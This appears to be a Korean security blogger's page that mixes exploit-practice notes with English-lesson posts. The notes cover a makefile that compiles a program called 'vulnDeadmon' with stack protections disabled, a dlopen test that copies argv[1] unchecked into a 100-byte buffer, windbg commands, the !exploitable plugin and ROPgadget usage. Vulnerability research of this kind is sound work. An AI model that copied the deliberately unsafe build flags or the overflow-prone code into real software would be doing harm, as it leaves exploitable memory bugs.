'k1rha`s Node'에 해당되는 글 388건

  1. 2014.04.28 간단한 makefile 작성 방법
  2. 2014.04.27 [ windbg command summary ]
  3. 2014.04.27 [ windbg explotiable ] 를 예측해주는 plugin
  4. 2014.04.24 LINUX dlopen 으로 dynamic 하게 library 호출
  5. 2014.04.23 [ dumpcode ] C dumpcode
  6. 2014.04.21 [ ROP gadget finder ] ROP 가젯 찾아주는 소스코드 (ARM MIPS x64 등등 지원)
  7. 2014.04.06 [ 7분영어.com ] [10강] count on 1
  8. 2014.03.30 [7분영어][9강] Hope 과 wish 의 차이 2 강 [ wish 편 ]
  9. 2014.03.30 [7분영어] 8강 Hope 과 wish 구분 [ HOPE 편 ]
  10. 2014.03.30 반기문의 활용 높은 숙어 모음집
  11. 2014.03.22 [7분영어 6강 ] pretentious
  12. 2014.03.18 [ 7분영어 ] [5강] prefer ~ 2탄
  13. 2014.03.17 [4강][ preper ] ~ 더욱 좋아하다 선호하다 외~ 숙어들
  14. 2014.02.04 [ python ] 정규 표현식으로 문자열 검색하기 1
  15. 2014.01.23 [정규식] 정규식 잘 표기된 것
  16. 2014.01.02 Network vender Model default password
  17. 2013.12.16 오드로이드 XU 설치 (Odroid XU installation) 2
  18. 2013.12.12 Shellcode Database
  19. 2013.12.12 [ 펌 ] win gdb 명령어
  20. 2013.12.08 64bit CentOS 32bit 로 컴파일 하기
  21. 2013.11.24 특정 파일만 제외하고 삭제하기.
  22. 2013.11.24 [CGI 개발] html 전송 방식 CGI 로 처리하기
  23. 2013.11.18 [cgi] CGI로 POST 값 받아 처리 하기
  24. 2013.11.17 crontab 사용 메뉴얼
  25. 2013.11.06 딥웹 tor 서버 만들기 4
  26. 2013.11.06 [python] py2exe 에서 관리자 권한 주기
  27. 2013.10.21 python 프로그램 window 서비스로 등록 시키기
  28. 2013.10.10 [vortex] level3 -> level4
  29. 2013.10.09 [gdb] gdb find 의 활용 (원하는 메모리 값 찾기)
  30. 2013.10.05 파일내에 exec 계열 함수 사용 여부 (내용으로검색)
2014. 4. 28. 13:16

[ 직업 작업 했을때의 컴파일 옵션 ]


#gcc -fPIC -c libstrcpy2.c -m32


#gcc -m32 -shared -Wl,-soname,libstrcpy2.so -o libstrcpy2.so libstrcpy2.o


#gcc -o vulnDeadmon vulnDeadmon.c -m32 -fno-stack-protector -z execstack -fno-builtin -mpreferred-stack-boundary=4 -L ./ -lstrcpy2




[ makefile 만들기 ]


[ 설명 ]


위와같은 옵션을 가지고 컴파일을 매번 다시 해줘야하는 것을 makefile 파일로 만들어두면 편함.

변수명 설정은 C 표준과 같고, 호출은 $(변수명) 으로 호출이 가능함. (shell 명령어와도 같은기능을함)


18번째 줄부터 보면 make 명령어를 하면 all 을 default 로 하여금 make 가 됨. 

all : $(TARGET) 은 all을 실행하는데 $(TARGET)이 잘 구성되어 있지 않으면 ALL 을 실행하지 않음


[ 20번째줄 ] 

$(TARGET) : $(LIB_NAME)  : TARGET을 구성하는데 LIB_NAME 이 제대로 구성되어 있지 않으면 LIB_NAME부터 다시 실행함


[ 23번째줄 ]

$(LIB_NAME) : $(OBJS) : LIB_NAME 을 구성하는데 OBJS가 제대로 구성되어 있지 않으면 OBJS 부터 수행함


[ 26번째줄 ]

$(OBJS) : 

OBJS 를 수행함. $(CC) = gcc $(OBJ_OPTION)= -fPIC -m32 -c  $(LIB_SOURCE_FILE)   = libstrcpy2.c


[ 29번째줄 ]

clean : 

#make clean 이란 옵션으로 실행 될수 있는 부분. 재빌드를 할때 이미 파일이 존재하고 있는 경우를 없애기 위함.


Posted by k1rha
2014. 4. 27. 14:13

[ windbg command 모음집 ] 암기해야 할 명령어들 정리 

‘srv*C: \WebSymbols*http://msdl.microsoft.com/download/symbols’

----------------- 일반적인 명령어들 ----------------------

uf      ==    (gdb) disass 


bl     ==    breakpoint list

bp    ==    set BreakPoint

bu    ==    set Unresolved Breakpoint (defers the actual setting of the breakpoint until the moudule is loaded)

ba    ==    break on address

bc     ==    breakpoin clear 

be, bd    ==    breakpoint enable, disable


k      ==     callstack 을 보여준다 .

lm     ==     load 된 파일과 unload 된 모듈들을 보여준다. 

ex) lm vm msvcrt

lmD   ==     -||- ( output in Debugger Markup Language )

  

dt nt!_TEB  //Thread enviroment block 설정들을 보여줌 == !teb

dt nt!_PEB  //Process Enviroment Block 설정들을 보여줌 ==  !peb

ex )dt nt!_PEB -r @$peb // @$peb = address of our process’s PEB (see pseudo-register syntax)

ex2)dt nt!_TEB Addr   // full TEB dump


!dlls  == dll 정보들을 보여준다. 

!dlls -c kernel32       ==        same as before for kernel32 only  ( kernel32 대신 다른것을 써도된다)

ex) !dlls -c msvcrt 


!tls   ==  tls 정보들을 보여준다


!mgreloc     ==     relocation 정보를 보여준다.

!dh kernel32     ==      kernel32 의 헤더정보를 보여준다.

 

~         ==        thread statues for all thread

~0        ==         thread status for thread 0 

~.           ==       thread statues for currently active thread

~*        ==       thread status for all threads with some extra info (priority, startAdress)

~*k      ==       call stacks for all thread ~ !uniqstack

~<trehad>s     ==    set current thread

!gle     ==     get last error


?       ==    ' = ' 의미와 비슷하다 결과를 알려줌

ex) ? 00130000 - 0012c0000

result ) evalute expression : 16384 = 00100000


!uniqstack  == 모든 thread들에 대한 현재 프로세스의 콜스택을 보여준다.


k == 콜스택을 보여준다

kP == P의 의미는 각 호출되는 함수들의 full 파라미터를 의미함.

kf  == f == distance between adjacent frames to be displayed (useful to check stack consumption of each frame

kv == v == display FPO information + calling convention 

kb == 각각의 함수들의 처음 3파라미터를 보여준다. 

dds == stack trace 


------------------------------Memory handling ------------------------------------------------

dd     ==    double word 형태로 보여줌

da     ==    문자열 형태로 보여줌 

du     ==    유니코드 형태로 보여줌 

f        ==    fill memory

dds     ==    words 와 심볼들을 보여준다.

ddp     ==     참조되는 메모리들을 보여준다.

!address -RegionUsageStack    ==    Dispaly stack regions for all threads in the process

----------------------------- Heap Information    ------------------------------------------------

!heap ?     ==    간단 요약

!heap -h        ==    범위내의 힙 리스트 나열 

!heap -s 0     ==    summary for all heaps

!heap -p     ==    Gflags settings HeapHandle list

!heap -p -all ==    Details of all allocations in all heaps in the process 

dds == stack trace 


-------------------------------------------------------------------------------------------------

!locks       ==    프로세스 크리티컬 섹션같은 락킹된 리스트를 보여줌 -v 옵션을 주면 모두 출력 

!cs [ Opt ] [CsAddr ] == 크리티컬 섹션트리를 보여줌

!avrf -cs  == Display a list of deleted critical section



[ Automatic Pseudo -Registers ]

$ra         ==    스택의 현재 주소를 반환   ex ) g $ra

$ip         ==     Instruction Pointer   ( x86 = EIP , itanium=IIP , x64 = RIP )  

$exentry  ==    현재 프로세스의 첫 EP 값

$retreg     ==    리턴되는 주소를 갖는 값 (EAX, RAX ) 

$peb        ==    process environment block 

$peb        ==   Address of the thread environment block of current Thread

$tpid        ==    Process ID (PID)

$tid        ==    Thread ID(TID)



------------------ Meta or Dot-command 들 ----------------------

.sympath  == 심볼 경로들을 보여줌 ( 설정도 가능 )  

.cls   == 화면 초기화

.lastevent == 방금전 했던 명령어 

.detach == process  deteach

.if == ?? 

.reload /f ntdll.dll   // ntdll 이 없다고 뜰때 해결

 




-------------------- 확장 명령어 ------------------------------

!analyze == 심볼정보등 프로세스의 자체 분석내용을 나열해준다.

!address == section 헤더들의 주소들도 알려주고.. 뭔가 더하는것같은데.. 잘모르겠다

!handle  == 사용되는 핸들러들을 보여준다.

!peb == PEB 파일을 보여줌. 


!ext.help ==  일반적인 확장 도움말

!Uext.help  == 사용자모드의 확장 ( OS에 특화되지 않은 것 )

!Ntsdexts.help == 사용자모드의 확장( OS에 특화됨 )

!Kdexts.help == kernel-Mode Extensions 

!logexts.help == Logger Extensions 

!clr10/sos.help == debugging ManagedCode


 

------------------------------- Symbol 관련  -------------------------------

_NT_SYMBOL_PATH=srv*C:\Symbols\MsSymbols*http://msdl.microsoft.com/download/symbols; //명령어아님


.sympath          ==     심볼을 보여주거나 셋팅이 가능하게 해줌

.sympath + XY  ==     XY 디렉토리를 심볼 경로에 추가함

!sym noisy       ==     심볼 검색에 대한 정보를 표시 

ld kernel32       ==     kernel32 dll 을 불러온다.

ld *                 ==     모든 모듈을 위해 심볼을 불러온다.

.reload            ==     심볼 정보를 모두 재로드한다.

. kernel32!*      ==     kernel32에 대한 자료를 검토한다.

dt ntdll!*          ==     모든 종류의 ntdll 을 보여준다.


 --------------------------------  소스 관련 -------------------------------

.srcpath          == 소스파일을 불러오거나 셋팅할 수 있다.

.srcpath + XY   == XY폴더를 소스파일 검색 폴더에 추가한다.






[ heap 메모리 릭 찾기 ]

0:001> !heap -stat -h 0

Allocations statistics for

heap @ 00150000

group-by: TOTSIZE max-display: 20

size #blocks total ( %) (percent of total busy bytes)

100000 101 - 10100000 (99.99) 0x101 * 1MB allocated. Looks like a good candidate for a memory leak.

928 2 - 1250 (0.00)

64 24 - e10 (0.00)

0:001> !heap -flt s 100000 get all allocations with size: 100000

_DPH_HEAP_ROOT @ 151000

Freed and decommitted blocks

DPH_HEAP_BLOCK : VirtAddr VirtSize

Busy allocations

DPH_HEAP_BLOCK : UserAddr UserSize - VirtAddr VirtSize

024f0698 : 13831000 00100000 - 13830000 00102000

024f0620 : 13721000 00100000 - 13720000 00102000

… There should be 0x101 entries with size 100000 output here.

Let’s take the first one with UserAddr=0x13831000

0:001> !heap -p -a 13831000

address 13831000 found in

_DPH_HEAP_ROOT @ 151000

in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

24f0698: 13831000 100000 - 13830000 102000

7c91b298 ntdll!RtlAllocateHeap+0x00000e64

0045b74e TestApp!CMyDlg ::OnBnClicked_DoMemoryLeak+0x0000003e

0040b122 TestApp!_AfxDispatchCmdMsg+0x00000043

0040b32f TestApp!CCmdTarget ::OnCmdMsg+0x00000118

00408838 TestApp!CDialog ::OnCmdMsg+0x0000001b




Posted by k1rha
2014. 4. 27. 11:46

[ windbg explotiable 를 예측해주는 플러그인 이다 ] 

 dll 파일을 windbg 의 wintext 폴더에 넣어주고 ( window 비트수에 맞춰서.,.)


크래시가 터졌을때 아래 명령어로 검사를 해 줄 수 있다.



MSECExtensions.zip


You may need to explicitly load the MSEC DLL. If you installed it to the winext sub-directory, you can load

it with 


  !load winext\msec.dll

!exploitable

Gives an analysis, including a proposed bug title


!exploitable -v

Gives a verbose analysis


!exploitable -m

Gives the same output as -v, but formatted for easy machine 



[ 출처 : http://pgnsc.tistory.com/311 ] 



Posted by k1rha
2014. 4. 24. 21:07

ASLR 걸린 취약한 함수 테스트 하려다가 자주 쓰게 되는데 저장할 공간이 없어서 저장함


KEYWORD : LINUX dynamic 하게 library 호출 , 라이브러리 동적 호출, 동적으로 라이브러리 호출 , dlopen dlsym dlfcn.h ..


root@k1rh4:~/strcp# ls

strcpy2.c  test.c

root@k1rh4:~/strcp# gcc -g -c -fPIC strcpy2.c

root@k1rh4:~/strcp# ls

strcpy2.c  strcpy2.o  test.c

root@k1rh4:~/strcp# gcc -shared -lc -o libstrcpy2_so.so strcpy2.o

root@k1rh4:~/strcp# ls

libstrcpy2_so.so  strcpy2.c  strcpy2.o  test.c

root@k1rh4:~/strcp# gcc -o test test.c -ldl

-------------------------------------------------------------------------

root@k1rh4:~/strcp# cat test.c

#include<stdio.h>

#include<dlfcn.h>

#include<string.h>



int main(int argc, char *argv[]){


        char buff[100]="";


        void * lib_handle=NULL;

        int (*func)(char *, char *);


        func =NULL;


        lib_handle = dlopen("./libstrcpy2_so.so",RTLD_NOW);



        if(!lib_handle){

                printf("dlopen failed [ %s ] \n",dlerror());


                return 0;


        }



        func = dlsym(lib_handle,"strcpy2");

        func(buff,argv[1]);


        printf("[%s]\n\n",buff);


        if(!func){


                printf("dsym failed [%s ] \n ", dlerror());

        }

        dlclose(lib_handle);





return 0;

}

---------------------------------------------------------------------

root@k1rh4:~/strcp# cat strcpy2.c

#include<stdio.h>

#include<string.h>

int strcpy2(char *v1 ,char *v2){


        strcpy(v1, v2);

return  strlen(v2);

}


root@k1rh4:~/strcp#



* 공유 라이브러리 작성 컴파일 지식

gcc -fPIC -c <sorce file>
-fPIC : 위치와 관계없이 수행할 수 있는 코드로 컴파일

gcc -shared -Wl,-soname,appsolute.so.0 -o libapplib.so.0.0.0 <object files>
-shared : 공유 라이브러리로 생성
-Wl : 콤마로 구분된 옵션을 링커로 전달
-soname : 로더가 식별하는 라이브러리 이름
-o : 결과로 만들 파일이름

여기서 로더가 인식하는 이름과 실제 파일이름이 다를 수 있다.
그리고 여기서 만들고자 하는 링킹 형태는 다음과 같다.
gcc -o test test.cc -L<library path> -lappsolute
이에 심볼릭 링크를 생성하여 링커에게 이름과 실제 파일을 연결시킨다.

# 컴파일 시 -lappsolute 를 주면 링커는 libappsolute.so 를 찾는다. 따라서 libappsolute.so 를 생성한다
ln -s libapplib.so.0.0.0 libappsolute.so
# 컴파일 후 실행 파일을 실행할 경우 appsolute.so.<Version> 을 탐색한다
ln -s libapplib.so.0.0.0 appsolute.so.0
해당 링크를 추가한 후 아래 파일을 수정하여 라이브러리 경로를 추가한다.
/etc/ld.so.conf
경로 추가 후 적용
ldconfig


'C,C++ > C' 카테고리의 다른 글

[ attribute 관련 속성 정리 ]  (0) 2014.07.02
[ kernel ] 루트킷 분석하다가 조사한 커널 함수들.  (0) 2014.05.02
Posted by k1rha
2014. 4. 23. 19:40

void printchar(unsigned char c)

{

        if(isprint(c))

                printf("%c",c);

        else

                printf(".");

}

void dumpcode(unsigned char *buff, int len)

{

        int i;

        for(i=0;i<len;i++)

        {

                if(i%16==0)

                        printf("0x%08x  ",&buff[i]);

                printf("%02x ",buff[i]);


                if(i%16-7==0)

                      printf("- ");


                if(i%16-15==0)

                {

                        int j;

                        printf("  ");

                        for(j=i-15;j<=i;j++)

                                printchar(buff[j]);

                        printf("\n\r");

                }

        }

        if(i%16!=0)

        {

                int j;

                int spaces=(len-i+16-i%16)*3+2;

                for(j=0;j<spaces;j++)

                        printf(" ");

                for(j=i-i%16;j<len;j++)

                        printchar(buff[j]);

        }

        printf("\n\r");

}

================

#include <windows.h>

#include <stdio.h>

#include <string.h>

#include "dumpcode.h"


int main (void) 

{

    char *str = "hello wolrd";

    int i = 1;

    int j = 2;

    printf("%s\n\r", str);


    dumpcode((char*)&str, 0x100);

    dumpcode(str, 0x100);

    return 0;

}

[출처] dumpcode.h|작성자 느림보



Posted by k1rha
2014. 4. 21. 23:15


[ ROP gadget finder ] ROP 가젯 찾아주는 소스코드 (ARM MIPS x64 등등 지원)

진짜 가젯 찾아주는데 최고인 것 같다.


관련 자료  : https://github.com/JonathanSalwan/ROPgadget/


GitHub (v5.1 - 21-04-2014) https://github.com/JonathanSalwan/ROPgadget/

How to install

$ git clone -b master git@github.com:JonathanSalwan/ROPgadget.git
$ cd ROPgadget
$ cd ./dependencies/capstone-next
$ ./make.sh
$ sudo ./make.sh install
$ cd ./bindings/python
$ make 

$ sudo make install


Usage

usage: ROPgadget.py [-h] [-v] [--binary <binary>] [--opcode <opcodes>]
                    [--string <string>] [--memstr <string>] [--depth <nbyte>]
                    [--only <key>] [--filter <key>] [--range <start-end>]
                    [--thumb] [--console] [--norop] [--nojop] [--nosys]

optional arguments:
  -h, --help           show this help message and exit
  -v, --version        Display the ROPgadget's version
  --binary <binary>    Specify a binary filename to analyze
  --opcode <opcodes>   Searh opcode in executable segment
  --string <string>    Search string in readable segment
  --memstr <string>    Search each byte in all readable segment
  --depth <nbyte>      Depth for search engine (default 10)
  --only <key>         Only show specific instructions
  --filter <key>       Suppress specific instructions
  --range <start-end>  Search between two addresses (0x...-0x...)
  --thumb              Use the thumb mode for the search engine. (ARM only)
  --console            Use an interactive console for search engine
  --norop              Disable ROP search engine
  --nojop              Disable JOP search engine
  --nosys              Disable SYS search engine

console commands:
  display              Display all gadgets
  help                 Display the help
  load                 Load all gadgets
  quit                 Quit the console mode 

search Search specific keywords or not







Posted by k1rha
2014. 4. 6. 10:39

count

----------------------------------------------------------------------------

1. 수를 세다. (가장 흔히 쓰이는 희미이지만. 전혀 다른뜻이 있다)

2. ~을 셈에 넣다 포함시키다.

3. ~을 ~ 하다고 간주하다 

4. 중요하다

---------------------------------------------------------------------------

Don`t count your chickens before they are hatched. 

태어나기도 전에 병아리를 세지 마세요 


who`s up for a movie tonight? 

Count me in ! 


i count myself lucky because i have agood friends like you guys. 

너희들같은 좋은 친구들을 두다니 난 참 운이좋은것 같다


It is not how much you read but what you read that counts .

중요한 것은 얼마나 많이 읽느냐가 아니라 무엇을 읽느냐이다 .


============================================================================

Count on ~


 if you count on something or count upon it 

you expect it to happen and include it in your plans,

만약 당신이 무언가를 count on 한다면 당신은 이것이 일어나리라

기대하고 당신의 계획에 포함시키는 것입니다. 


~ 에 의지하다 ~을 기대하다 ~을 믿다.



i`ll never drink again you can count on me 

나 다시는 술 마시지 않을꺼야 믿어도 되! 


lisa counts on her mother to help baby-sit her kid 

lisa는 그녀의 엄마가 아이를 돌바줄 것이라고 기대하고잇어요 



유용한 예제 ) 

   you can count on me !   == 날 믿어도 좋아! 






Posted by k1rha
2014. 3. 30. 15:28

Hope 과 Wish 가 that 절과 이어지면 다르다!


동사 wish 가 절과 함께 쓰일때는 화자가 바라고 희망하는 것들이 실현 불가능함을.. 또는 현실과 

반대임을 의미한다. 

 


----------------------------------------------------------------------

I wish i am  were handsome.  


여기서 wish 는  가정법이기 때문에 were 를 써야한다! 

----------------------------------------------------------------------


ex)

wish for 명사

i`m wising for a new laptop for my birthday

they are wishing for a miracle 


------------------------------------------------------------------------


i wish to see her again soon 

(나는 그녀를 곧 다시 보길 바라요 )

Hope 와 마찬가지로 미래 절을 포함하고 있다. 



ex) 

wish + that 절 

i wish i could pass the exam 

i wish you understood my situation  ( 과거시제를 사용했지만 가정법 과거시제이므로 현재로 해석한다 )

--------------------------------------------------------------------------



Posted by k1rha
2014. 3. 30. 14:02

 Hope 과 wish 에 대해서 알아보는 시간 


공통점

---------------------------------------------------------------------

- Hope 과 wish 의 의미는 비슷하다  == 바라다 희망하다 소망하다 

- Hope or wish + for + 명사 

Hope or wish + to부정사


차이점

-----------------------------------------------------------------------

동사 hope 과 wish 는 that 절과 함께 쓰일때 의미상의 차이를 가지게 된다! 


Hope that 절과 함께 쓰일때는, "실현가능하다" 를 내포함.

I hope that ~~~    == 내가 that 절에 있는 것을 실현 가능하다고 생각은 하고 있다.

I wish that ~~~~  == 실현이 불가능 하다 .


Hope 다음에는 will 을 사용하지 않는다. 왜냐하면 어차피 미래를 상징하기 떄문이다.


[ 친구가 아픈 순간에는 wish 를 쓰면 안된다 ] 

I hope you will get better soon  


[ 시험같은 부분은 hope 이다. 가능한 일이라는 것을 암시한다 ]

I hope i pass the exam 


----------------------------------------------------------------------


Hope + for + 명사 

I`m hoping for a new laptop 


Hope + to 부정사

I hope to be rich when i grow up. 

I hope to see her again soon   


== 이를 보아 hope 은 알아서 미래 지향적이 된다. will 따윈 꼭 필요없다.

---------------------------------------------------------------------------

Posted by k1rha
2014. 3. 30. 13:47

4[A]

식은 죽 먹기지요              A piece of cake. 

먼저 가시지요                  After you. 

어떤 좋은 생각 있어요?       Any good ideas? 

언제라도요                     Any time. 

집에 누구있어요?              Anybody home? 

그 밖에 뭐 있어요?            Anything else? 

당신은 줄에 서 있어요?       Are you in line? 

당신 농담이에요?              Are you kidding? 

당신은 심각 해요?             Are you serious? 

드디어                           At last.

좀 주목 해 주세요              Attention, please! 

와우~ 멋지다                   Awesome! 


[B]

나를 지원해 주세요             Back me up. 

사양하지 마세요                 Be my guest. 

좀 참으세요                      Be patient. 

시간좀 맞춰                      Be punctual! 

곧 당신에게 돌아 올께요.       Be right back with you. 

앉으세요                          Be seated. 

이자리에서 꺼져                 Beat it. 

(맥주) 주세요                    (Beer), please. 

행동자제를 하세요              Behave yourself. 

늦는 것이 안 하는 것보다 낫지요  Better late than never. 

없는 것 보다 낫지요            Better than nothing. 

야, 그것 아픈데                  Boy! It hurts. 

그만 싸워요                      Break it up. 


[C]

샘이라고 불러 주세요           Call me Sam, please. 

나를 태워다 줄 수 있어요?     Can I get a ride? 

지금 나와 이야기 할 수 있어요?     Can you hear me now? 

그것에 대해서 왈가왈부 할 필요가 없지요.   Can't argue with that. 

이것보다는 좋을 순 없지요     Can't be better than this. 

현찰이요 아니면 달아 놓을 까요?       Cash or charge? 

나중에 보자구요.                           Catch you later. 

확실히 그렇지요.                           Certainly. 

대금을 크레디 카드에 달아 놓으세요   Charge it please. 

이것을 확인해 보세요                     Check it out. 

계산서 좀 주세요                           Check, please. 

기운을 내세요                               Cheer up! 

건배                                         Cheers! 

(커피) 주세요                               (Coffee), please. 

와서 가지세요 와서 먹어요               Come and get it. 

들어 오세요                                 Come on in. 

설마                                         Come on. 

축하 합니다                                 Congratulations! 

그럴 수도 있겠지요                       Could be. 

이보다 더 좋을 순 없어                   Couldn't be better then this. 


[D]

확실히 그렇지요                           Definitely. 

맛있어요                                    Delicious! 

경우에 따라 다르지요                     Depends. 

알아 들었어요?                             Did you get it? 

제 입장을 확실하게 말하지 않았나요?  Didn't I make myself clear? 

기분 나빠. 재수 없어                      Disgusting! 

저도 압니다. 누가 아니래요?             Do I know it? 

제가 괜찮아 보여요?                      Do I look all right? 

내말 알아 듣겠어요?                      Do you follow me? 

모든 것을 가지셨나요?                   Do you have everything with you? 

당신은요?                                  Do you? 

잘 하고 있어요?                          Doing okay? 

너무 심각하게 그러지 말아요           Don’t get too serious. 

(보트를 놓치듯이) 기회를 놓지지 마세요  Don’t miss the boat. 

너무 날 뛰지 마세요 (행운을 밀지 말아요)  Don’t press (push) your luck. 

묻지 말아요                               Don't ask. 

너무 소심하게 굴지 말아요. 너무 겁먹지 마      Don't be a chicken. 

두려워 하지 마세요                                  Don't be afraid. 

멍청하게 굴지 말아요                               Don't be foolish. 

겸손해 하지 말아요                                  Don't be modest. 

부끄러워 하지 마세요                               Don't be shy. 

싱겁게 놀지 말아요                                  Don't be silly. 

신경쓰지 마세요                                     Don't bother. 

나를 괴롭게 하지 말아요                           Don't bother me. 

화제를 다른데로 돌리지 마요                       Don't change the subject! 

사고 치지마                           Don't get into trouble. (Stay out of trouble.) 

너무 화 내지 말아요                 Don't get upset. 

날 함부로 대하려고 하지 말아요.   Don't mess with me. 

나를 실망시키지 말아요             Don't let me down. 

나를 웃게 하지 말아요               Don't make me laugh. 

너무 강요 하지 말아요               Don't push me! 

행운을 밀어 내지 마세요. 너무 까불지 마세요 Don't push (press) your luck! 

밀지 말아요.                           Don't push! 

걱정하지 말아요                       Don't worry about it. 

안전하게 운전해요                     Drive safely! 


[E]

천천히 해요. 천천히 하는 것이 잘 하는 거에요   Easy does it. 

둘중에 어떤 것이든 되요 (어떤 것이든 되요)      Either will do. (Anything will do.) 

맛있게 드세요                                         Enjoy your meal. 

충분 하니까 이제 그만 해요                         Enough is enough. 

정확하게 맞어요                                       Exactly. 

잘 했어요                                               Excellent! (Super!) 

실례합니다                                             Excuse me. 


[F] 

아직 멀었지요                                         Far from it. 

50:50 입니다.                                   Fifty-fifty. 

따라 오세요                                           Follow me. 

영원히?                                                 For good? 

왜? 무엇을 위해서요?                                 For what? 

그것에 대해서는 잊어 버리세요. 신경꺼요.       Forget it. 


[G]

 줄을 서세요                             Get in the line.

당장 꺼져 버려                         Get lost! 

 (등에 업혀 있지 말고) 이제 나를 고만 괴롭혀요 Get off my back.

현실적이 되세요. 냉정해 지세요                 Get real! 

이제 뭔가 그림이 보이세요?                   Get the picture? 

이제 그만 두세요. (이만 좀 쉬세요)               Give it a rest. 

노력 해 보세요                                        Give it a try. 

제게 전화 주세요                                     Give me a call. 

기꺼이 하지요                                         Gladly. 

어서 그렇게 하세요                                   Go ahead. 

반반 나누어 내지요                                 Go fifty-fifty. 

그것을 한번 해 보시지요. 노력 해 보시지요       Go for it. 

가서 가지세요                                       Go get it. 

어서 계속 하세요                                   Go on, please.

내려 가세요?                                       Going down? 

올라 가세요?                                         Going up? 

그 정도면 충분 합니다. 좋습니다                   Good enough. 

당신에게 좋은 일이지요                             Good for you. 

당신에게 행운을 빕니다                         Good luck to you! 

행운을 빕니다                                     Good luck. 

당신과의 대화는 즐거 웠어요                     Good talking to you. 

좀 철좀 들어라                                       Grow up! 

뭔지 알아 맞추어 봐요                               Guess what? 


[H]

좀 견디어 봐요                                            Hang in there. 

좀 편히 쉬고 있어요.                                     Hang loose. 

잠깐 기다리세요                                          Hang on! 

나이스한 (좋은) 날 되세요                              Have a nice day. 

재미있게 지내세요                                       Have fun! 

그 는 나타나지 않았어요                                He didn't show up. 

그 는 나에게 지난 일이에요                            He is history to me. 

도와 주세요                                               Help me! 

마음껏 하세요                                            Help yourself. 

여기 작은 선물 받으세요                                Here is something for you. 

여기에 있어요                                            Here you are. 

안녕                                                        Hi ! 

움직이지 마요                                             Hold it ! 

잠깐 기다리세요                                          Hold on. 

당신은 어때요?                                            How about you? 

얼마나 큰데요?                                            How big is it? 

왜요?                                                        How come? (Why?) 

여기 좋아 하세요?                                        How do you like here? 

그 동안 어떻게 지냈어요?                               How have you been? 

몇번이나 말해야 알겠어요?               How many times do I have to say? 

수가 얼마지요?                           How many? 

양이 얼마지요?                             How much? 

여행 (휴가)는 어땠어요?                 How was your trip (vacation)? 

일은 어때요?           How's work? 

가족은 잘 있어요?                             How's you family? 


[I]


감동 정말 되었어요   I am (deeply) touched. 

좀 실망했어요 I am a little disappointed. 

난 모든 준비 완료 I am all set.

그것을 파악하고 있습니다 I am aware of that. 

저 돌아 왔습니다 I am back. 

나는 무일품입니다 I am broke. 

지금 가요 I am coming. 

나는 그녀에 빠졌어요 I am crazy about her. 

난 기진맥진입니다 I am exhausted. 

이것에 진저리가 났어요 I am fed up with this. 

한가 합니다 I am free. 

배불러요 I am full. 

배가 슬슬 고파 오는데요 I am getting hungry. 

나는 너를 그리워 할 거야 I am going to miss you. 

인상이 좋았어요. 감동 받았어요. I am impressed. 

좀 바쁩니다 I am in a hurry. 

궁색 합니다 I am in need. 

근시입니다 I am nearsighted. 

근무중입니다 I am on duty. 

난 무서워 죽겠어요 I am scared to death. 

난 진심이에요 I am serious. 

잔돈이 모자라는데요 I am short-changed. 

나는 미혼입니다 I am single. 

미안해요 I am sorry. 

배가 고파 죽겠네여 I am starving to death. 

배가 부르네요 I am stuffed. 

화가 납니다 I am upset. 

내기를 할정도로 자신있다 I bet. 

그렇게 말할 수 있어요. 그렇게 보이는데요 I can tell. 

내가 다룰 수 있어요 I can handle it. 

난 더 이상 다룰 수 가 없어요 I can not handle it anymore. 

(주로 재정적으로) 그것을 감당 할 수 없어요 I can’t afford that. 

어쩔수 없어요 I can’t help it. 

확실히는 말 못 하겠어요 I can't say for sure. 

견딜 수 가 없군 I can't stand it. 

너무 감사해서 뭐라고 할말이 없네요 I can't thank you enough. 

난 그렇게 할 의도는 아니었어요. I didn't mean to. (I didn't mean it.) 


(나는 그것을 뜻 한 것은 아니었어요)

난 그것을 믿지 않아요 I don’t believe it. 

상관하지 않아요 I don't care. 

이해를 못하겠네 I don't get it. 

난 좋아 그것을 좋아 하지 않아요 I don't like it. 

의심이 가는데요 그렇지 않게 생각 하는데요 I doubt it. 

저도 같은 느낌입니다 I fee the same way. 

난 알았어요 I get it. 

난 길을 잃었어요 I got lost. 

난 가야 겠어요 I have got to go now. 

난 이제 진저리가 나요. 그만 둘래요 I have had enough. I quit. 

나는 그 사람을 잘 모릅니다 I hardly know him. 

먹자마자 가기는 싫지만… I hate to eat and run but ... 

난 갈길이 멀었지요 I have a long way to go. 

난 식욕이 없네요 I have no appetite. 

난 아이디어가 전혀 없네요 I have no clue. 

나는 에너지가 없어요 I have no energy. 

난 별 생각이 없네요 I have no idea. 

나는 시간이 없어요. 바쁘네요 I have no time. 

제가 지금 시간이 없어요. 좀 빨리좀 해 주세요 I haven't got all day. 

잘 들고 있습니다. I hear you loud and clear. 

뭔가 알아요. 뭔가 아이디어가 있어요. I know what! 

난 그것을 좋아해 I love it. 

그것을 달성 해냈다 I made it. 

정말입니다. 농담아니에요. I mean it. 

신세를 지네요 I owe you one. 

알겠습니다 I see. 

나는 너를 아직도 사랑해 I still love you. 

난 하나님한테 맹세 합니다 I swear to God. 

난 고학 했습니다 I taught myself. 

내가 행운이었지요 I was lucky. 

(누군가 나에게) 그것을 말해 주었어요. 그렇게 들었어요 I was told that. 

I will be in touch. 제가 연락을 할께요

I will do it for you. 제가 해 드리지요

I will drink to that. 그것에 동감 입니다

I will get it. (전화등을) 제가 받을 께요

I will miss you. 난 너를 그리워 할거야

I will never make it on time. 내가 제시간에 가기는 틀렸군

I wouldn't say no. 아니라고는 말하지 않을께여

I'm coming. 가요, 갑니다

In a sense, he is nothing but a suit. 어떤 면에서는 그는 헛깨비 지요

Incredible. 신뢰가 안가는 (군요)

Is that all? 그게 전부에요?

It is chilly. 날이 쌀쌀 하네

It is humid. 후덥지근 하네

It is muggy 날이 찌프듯 하네

It is out of style. 유행이 아니네요.

It is painful for me. 나에겐 아픈 (슬픈) 일입니다

It is time for lunch. 점심식사할 시간입니다

It is time to go. 갈 시간 입니다

It is windy. 바람이 부네

It makes sense. 이해가 되네요

It takes time. 시간이 걸립니다

It’s for you. 여기요 전화 왔어요

It’s not fair. (It's unfair) 불공평 합니다

It's all right. 괸 찮습니다

It's beautiful. 아름 답군요

It's cool. (Cool) (세련되어 보이네요) 멋있네요

It's free. 공짜 입니다

It's freezing. 얼어 붙네

It's my fault. (It's not my fault) 내 잘못 이지요 ( 내 잘못이 아닙니다.)

It's all your fault. 모든게 네 잘 못이야

It's my pleasure. 제게 기쁨입니다

It's my turn. 이번에 내 차례입니다

It's now or never. 지금이던지 아디던지 입니다. (지금이 절호의 기회입니다.)

